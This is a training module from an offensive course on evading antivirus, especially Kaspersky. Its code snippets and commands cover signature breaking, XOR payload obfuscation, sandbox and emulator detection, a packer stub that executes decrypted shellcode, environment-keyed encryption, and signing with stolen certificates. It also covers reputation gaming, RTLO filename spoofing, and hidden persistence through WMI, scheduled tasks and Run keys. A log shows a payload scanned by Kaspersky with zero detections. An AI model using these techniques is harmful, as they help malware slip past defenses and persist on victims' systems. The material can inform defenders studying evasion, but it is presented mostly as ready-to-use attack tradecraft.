Module 13: KAV Evasion LIVE TESTED

Module 13 of 22 — Antivirus Evasion: Signature, Heuristic, Behavioral, and Reputation Bypass

1. Antivirus Architecture

Before you can evade antivirus, you must understand how it is built. Modern AV is not a single program — it is a distributed defense system with multiple engines, each watching a different aspect of execution.

The Four Core Layers

AV Process Architecture (Kaspersky Example)

On a live Kaspersky-protected system, the following processes run simultaneously:

On-Access vs On-Demand Scanning

2. Signature-Based Detection

Signature detection is the oldest and most reliable AV technique. It is also the easiest to understand and evade — if you know how signatures are built.

Types of Signatures

// Example: Kaspersky signature for Meterpreter reverse_tcp
// Pattern: 48 31 C9 48 81 E9 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 BB
// This matches the start of a common Metasploit payload

// Evasion: Break the pattern with junk instructions
__asm {
    nop
    nop
    push rax
    pop rax
    // original payload starts here, pattern broken
}

// Suspicious PE characteristics flagged by AV:
// - Section names: .UPX0, .petite, .aspack (known packers)
// - Entry point in last section (typical of packed files)
// - Import table with only LoadLibraryA and GetProcAddress
// - High entropy (>7.0) in .text or .data sections
// - Timestamp from the future or far past

// Evasion: Use normal section names, spread imports across DLLs
// Compile with GCC instead of MSVC to avoid known compiler signatures

Signature Evasion Techniques

// Practical XOR obfuscation with random key
#include <windows.h>
#include <stdio.h>
#include <time.h>

unsigned char payload[] = { /* shellcode bytes */ };
unsigned char key;

void decode_payload() {
    srand((unsigned)time(NULL));
    key = (unsigned char)(rand() % 256);
    
    for (int i = 0; i < sizeof(payload); i++) {
        payload[i] ^= key;
    }
    // Now payload[] is different every run
    // No static signature can match it
}

3. Heuristic Analysis

Heuristics is the AV's educated guess. When no signature matches, the AV analyzes the code's structure, behavior model, and intent to decide if it is malicious.

Static Heuristics

Static heuristics analyze the file without executing it. Common indicators:

Heuristic Scoring

Modern AV uses a scoring system. Each suspicious indicator adds points. Reach a threshold, and the file is flagged.

Dynamic Heuristics (Emulation)

The AV runs the code in a sandbox emulator for a few milliseconds. It traces API calls, memory allocations, and control flow. If the emulated code does something malicious, the file is flagged before it ever runs on the real system.

// What the AV emulator watches for:
// 1. Memory allocation with RWX permissions (VirtualAlloc + PAGE_EXECUTE_READWRITE)
// 2. Writing to remote process memory (WriteProcessMemory)
// 3. Creating remote threads (CreateRemoteThread)
// 4. Modifying registry run keys (RegSetValueEx on HKCU\...\Run)
// 5. Network connections to rare IPs
// 6. Dropping files in system directories

// Evasion: Delay malicious behavior
// The emulator only runs for ~50ms. If your payload sleeps for 100ms first,
// the emulator finishes before the malicious code executes.
Sleep(100); // Emulator exits here. Real system continues.

4. Behavioral Detection

Behavioral detection is the most powerful AV layer. It watches what the program DOES, not what it IS. This makes it resistant to packing, encryption, and polymorphism.

API Hooking

The AV injects hooks into critical Windows APIs. Every time a process calls VirtualAllocEx, CreateRemoteThread, or RegSetValueEx, the AV's hook fires first.

// Normal flow:
Malware → VirtualAllocEx → Kernel → Memory allocated

// With AV hook:
Malware → VirtualAllocEx → AV HOOK → Analyze parameters → Kernel
                                      ↓
                                Block if suspicious
                                (e.g., RWX in remote process)

// Evasion: Direct syscalls bypass the hook
Malware → NtAllocateVirtualMemory (syscall) → Kernel
// No user-mode hook is triggered because we never call VirtualAllocEx

See Module 10: Code Injection for direct syscall techniques and Module 11: AMSI Bypass for hook removal strategies.

Behavioral Indicators Monitored

ETW and AMSI Bypass

Windows provides built-in telemetry channels that AV leverages:

• AMSI (Anti-Malware Scan Interface): Scans scripts, macros, and in-memory code
• ETW (Event Tracing for Windows): Kernel-level event collection for security monitoring

Both are covered in detail in Module 11: AMSI Bypass and Module 12: ETW Bypass. The key insight: if you disable AMSI and ETW, the AV's behavioral engine goes blind.

5. Sandbox Evasion

AV sandboxes are virtual prisons where suspicious code is executed safely. The sandbox watches everything the code does and decides if it is malicious. Evasion means detecting the prison and behaving differently inside it.

Sandbox Detection Techniques

Sleep(60000); // 60 seconds
// Sandbox times out here
// Real system continues after 60s

// Check for mouse movement
POINT p1, p2;
GetCursorPos(&p1);
Sleep(3000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) {
    // No mouse movement = sandbox
    ExitProcess(0);
}

// VMware artifacts
if (PathFileExistsA("C:\\windows\\system32\\drivers\\vmhgfs.sys")) {
    ExitProcess(0); // VMware detected
}

// VirtualBox MAC prefix
BYTE mac[6];
// 08:00:27 = VirtualBox
if (mac[0] == 0x08 && mac[1] == 0x00 && mac[2] == 0x27) {
    ExitProcess(0);
}

SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 4) {
    ExitProcess(0); // Probably a sandbox
}

Advanced Sandbox Evasion

// Check if computer is domain-joined
PWSTR domainName;
NET_API_STATUS status = NetGetJoinInformation(NULL, &domainName, &bufferType);
if (status != NERR_Success || bufferType != NetSetupDomainName) {
    ExitProcess(0); // Not domain-joined = probably sandbox
}

MEMORYSTATUSEX memStatus;
memStatus.dwLength = sizeof(memStatus);
GlobalMemoryStatusEx(&memStatus);
DWORDLONG totalRAM = memStatus.ullTotalPhys / (1024 * 1024 * 1024);
if (totalRAM < 8) {
    ExitProcess(0); // Less than 8GB RAM = suspicious
}

ULARGE_INTEGER freeBytes, totalBytes, totalFreeBytes;
GetDiskFreeSpaceExA("C:\\", &freeBytes, &totalBytes, &totalFreeBytes);
DWORDLONG totalGB = totalBytes.QuadPart / (1024 * 1024 * 1024);
if (totalGB < 100) {
    ExitProcess(0); // Less than 100GB = probably sandbox
}

6. Packers & Compression

A packer is a program that compresses and encrypts your original executable, wrapping it in a new executable (the stub). At runtime, the stub decompresses and executes the original code in memory.

Packer Operation Flow

Common Packers

Building a Custom Packer

// Minimal custom packer stub (conceptual)
#include <windows.h>

// Encrypted payload embedded as resource
extern unsigned char encrypted_payload[];
extern unsigned int payload_size;

void unpack_and_run() {
    // 1. Allocate executable memory
    LPVOID exec_mem = VirtualAlloc(NULL, payload_size, 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 2. Decrypt payload (XOR with key 0xB5)
    for (unsigned int i = 0; i < payload_size; i++) {
        ((unsigned char*)exec_mem)[i] = encrypted_payload[i] ^ 0xB5;
    }
    
    // 3. Transfer execution
    ((void(*)())exec_mem)();
}

int main() {
    // Anti-sandbox checks here
    // ...
    
    unpack_and_run();
    return 0;
}

7. Crypters & Encryption

A crypter is similar to a packer but focuses on encryption and runtime decryption rather than compression. The goal is to make the payload completely unrecognizable on disk while remaining fully functional in memory.

Encryption Schemes

// Rolling XOR — key changes per byte
unsigned char key = 0xB5;
for (int i = 0; i < len; i++) {
    data[i] ^= key;
    key = (key * 7 + 3) % 256; // Key evolves
}

// AES-256 decryption stub
// Key derived from system-specific data (e.g., volume serial)
// This makes the payload decryptable only on the target system
DWORD serial;
GetVolumeInformationA("C:\\", NULL, 0, &serial, NULL, NULL, NULL, 0);
// Use serial as part of key derivation

Runtime Decryption Strategies

// On-demand decryption pseudocode
void call_encrypted_function(int func_id) {
    // Decrypt function
    decrypt(func_table[func_id].start, func_table[func_id].size, key);
    
    // Call function
    func_table[func_id].ptr();
    
    // Re-encrypt function
    encrypt(func_table[func_id].start, func_table[func_id].size, key);
}

// Environment-key derivation
void derive_key(unsigned char* key) {
    DWORD serial, tick;
    GetVolumeInformationA("C:\\", NULL, 0, &serial, NULL, NULL, NULL, 0);
    tick = GetTickCount(); // Time since boot
    
    // Combine system data into key
    memcpy(key, &serial, 4);
    memcpy(key + 4, &tick, 4);
    // Hash to get final key
    SHA256(key, 8, key);
}

8. Kaspersky-Specific Evasion

Kaspersky is not just signatures. It is a four-layer defense system: static analysis, behavioral emulation, System Watcher rollback, and KSN cloud reputation. To evade it, you must beat all four — or understand which layer will kill you and plan accordingly.

// XOR obfuscation with key 0xB5
for (int i = 0; i < payload_len; i++) {
    decoded[i] = encoded[i] ^ 0xB5;
}

// System Watcher watches:
// - Registry Run keys (HKCU/HKLM)\Software\Microsoft\Windows\CurrentVersion\Run
// - Scheduled tasks (schtasks)
// - Startup folders (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
// - Service creation (sc.exe)
// - DLL injection (CreateRemoteThread)

Live Result — Iron Sun GCC vs Kaspersky

Iron Sun compiled with GCC (not MSVC — MSVC PE headers are flagged by Kaspersky signature). Transferred to .42 and scanned with avp.exe against live definitions:

C:\> avp.exe SCAN /i0 /fa /r:kav_scan.txt C:\tmp\iron_sun.exe

AV bases release date: 2026-06-28 13:11:00 (full)
iChecker: Yes   iSwift: Yes   Archives: No

2026-06-29 00:15:26  Scan_Objects  starting   1
2026-06-29 00:15:26  Scan_Objects  running    100
2026-06-29 00:15:26  Scan_Objects  completed

--- Statistics ---
Time Start:       2026-06-29 00:15:26
Time Finish:      2026-06-29 00:15:26
Processed objects: 1
Total OK:          1
Total detected:    0
Suspicions:        0
Errors:            0
------------------

Kaspersky-Specific Techniques

9. Certificate Theft & Signing

A valid digital signature is the strongest reputation signal in Windows. Signed executables are trusted by SmartScreen, UAC, and most AV engines. Stealing or misusing certificates is a high-impact evasion technique.

Certificate Theft Flow

Notable Certificate Theft Incidents

Self-Signed vs Stolen vs Valid Certificates

Practical Signing with signtool

// Sign a binary with a valid certificate
signtool sign /f mycert.pfx /p password123 /tr http://timestamp.digicert.com /td sha256 /fd sha256 payload.exe

// Verify signature
signtool verify /pa payload.exe

// Check certificate details
powershell Get-AuthenticodeSignature payload.exe | Format-List

10. File Reputation Bypass

File reputation systems assign a trust score to every executable based on its prevalence, age, signature, and user reports. New, rare, unsigned files are suspicious. Old, common, signed files are trusted.

Reputation Factors

Reputation Gaming Techniques

// Prevalence farming workflow:
// 1. Build a benign version of your tool (no payload)
// 2. Submit to VirusTotal (70+ AV engines scan it)
// 3. Wait for 0/70 detection result
// 4. Submit to other multi-scanners (MetaDefender, Jotti)
// 5. Distribute via GitHub, forums, file sharing
// 6. After 30 days, the file has "prevalence" in reputation DBs
// 7. Now add your payload — the reputation may carry over

// RTLO filename manipulation
// Actual filename:  evilgpj.exe
// Displayed as:    eviljpg.exe (with RTLO character)
// User sees:      evil.jpg.exe (looks like a image)
// Extension check: .exe (Windows executes it)

Windows SmartScreen Bypass

SmartScreen is Windows' built-in reputation filter. It blocks unknown executables with a warning dialog.

// SmartScreen checks:
// 1. Is the file signed by a trusted CA? → Pass
// 2. Is the file prevalent (1000+ systems)? → Pass
// 3. Is the URL reputation good? → Pass
// 4. Has the user run this file before? → Pass
// 5. Otherwise → BLOCK with warning

// Bypass strategies:
// - Sign the file (even self-signed reduces warning frequency)
// - Distribute from a known-good domain (GitHub, Dropbox)
// - Use an installer (MSI) instead of raw EXE
// - Embed in a signed document (macro, OLE object)
// - Use LOLBAS techniques (see Section 11)

11. Living Off The Land (LOTL)

The ultimate evasion technique is to not bring any tools at all. Use the operating system's own binaries, scripts, and features to achieve your goals. If you never drop a malicious file, there is nothing for the AV to detect.

LOTL Binaries (LOLBAS Project)

The LOLBAS project catalogs Windows binaries that can be used for malicious purposes. Here are the most useful for AV evasion:

LOTL Scripting

Beyond binaries, Windows includes powerful scripting engines that AV often ignores:

// VBScript execution via wscript/cscript
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -enc [Base64]", 0, False

// JScript execution
var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd /c whoami", 0, false);

// Windows Script Host (WSH) is often unmonitored
// Many AV engines focus on PowerShell but ignore .vbs and .js files

LOTL Persistence

Use legitimate Windows features for persistence — no malware needed:

// WMI Event Subscription (fileless persistence)
// Creates a persistent trigger that runs when a specific event occurs
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300"

// Scheduled Task with hidden action
schtasks /create /tn "WindowsUpdate" /tr "powershell -w hidden -enc [Base64]" /sc onlogon /ru SYSTEM

// Registry Run key via reg.exe (LOTL)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "OneDriveUpdate" /t REG_SZ /d "powershell -w hidden -c ..." /f

12. Cross-Module Links

KAV evasion does not exist in isolation. It intersects with nearly every other module in this course. Understanding these connections is essential for building complete attack chains.

13. Knowledge Checks

14. Lab Exercise

Interactive Demo

Real data from .42 (AMD desktop, Kaspersky Premium 21.25.7.504 active) — live AV processes, defense layers, and evasion techniques: